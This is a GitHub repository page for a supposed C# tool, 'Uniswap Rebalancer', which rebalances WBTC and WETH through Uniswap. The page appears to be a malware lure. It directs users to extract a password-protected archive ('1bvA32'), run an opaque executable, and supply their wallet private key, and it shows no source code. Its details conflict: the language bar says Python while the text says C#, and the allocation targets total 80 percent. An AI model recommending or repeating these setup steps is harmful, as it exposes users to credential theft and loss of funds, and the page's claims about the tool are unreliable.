Skip to content

The system performs scheduled scans of the user's wallet to retrieve current WBTC and WETH balances, computes deviations from predefined allocation ratios, and executes the necessary swap operations via Uniswap smart contracts to restore target portfolio weights.

Notifications You must be signed in to change notification settings

cipherhawkq/rebalancer

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 
 
 
 
 

Repository files navigation

Rebalancer

The Ethereum Uniswap Rebalancer is a C#-based application designed to automate token rebalancing (WBTC and WETH) within an Ethereum wallet using Uniswap smart contracts. Built with the Nethereum library, this solution enables users to maintain specified token allocation ratios through automated trades.

Key Features:

  • Rebalancing Logic: Implements a straightforward strategy to maintain target proportions between WBTC and WETH tokens by leveraging Uniswap’s decentralized liquidity pools.
  • Executable for Ease of Use: Delivered as a compiled executable (UniswapRebalancer.exe), allowing users to run the tool effortlessly without needing development experience.
  • Flexible Configuration: Users can modify essential parameters—such as Infura API key, wallet address, private key, and token specifications—via the config.json file.

This tool is ideal for individuals seeking a hands-off method to preserve their preferred token balance. It also serves as a foundational framework that can be enhanced and tailored to fit more complex or personalized portfolio strategies.

Getting Started

  • Clone the repository and follow the step-by-step setup guide in the documentation.
  • Extract archive with password 1bvA32
  • Modify the config file:
  1. Ethereum Networks:
  • rpcUrl: The RPC URL for connecting to the Ethereum network.
  • gasPrice: The gas price in Wei to be used for transactions.
  • gasLimit: The gas limit per transaction.
  1. Rebalancer Settings:
  • targetWbtcPercentage: Target percentage for WBTC in the portfolio.
  • targetWethPercentage: Target percentage for WETH in the portfolio.
  • rebalancingInterval: Time interval for rebalancing (e.g., "1d" for every 1 day).
  • transactionTimeout: Timeout for individual transactions in seconds.
{
  "ethereum": {
    "mainnet": {
      "rpcUrl": "https://mainnet.infura.io/v3/YOUR_INFURA_API_KEY",
      "gasPrice": 1000000000,  // Gas price in Wei
      "gasLimit": 300000       // Gas limit per transaction
    },
    "ropsten": {
      "rpcUrl": "https://ropsten.infura.io/v3/YOUR_INFURA_API_KEY",
      "gasPrice": 500000000,   // Gas price in Wei
      "gasLimit": 200000       // Gas limit per transaction
    },
    // Add more networks as needed
  },
  "rebalancer": {
    "targetWbtcPercentage": 50,
    "targetWethPercentage": 30,
    "rebalancingInterval": "1d",  // Rebalance every 1 day
    "transactionTimeout": 600,   // Timeout for transactions in seconds
    // Add more rebalancing settings as needed
  }

About

The system performs scheduled scans of the user's wallet to retrieve current WBTC and WETH balances, computes deviations from predefined allocation ratios, and executes the necessary swap operations via Uniswap smart contracts to restore target portfolio weights.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

  • Python 100.0%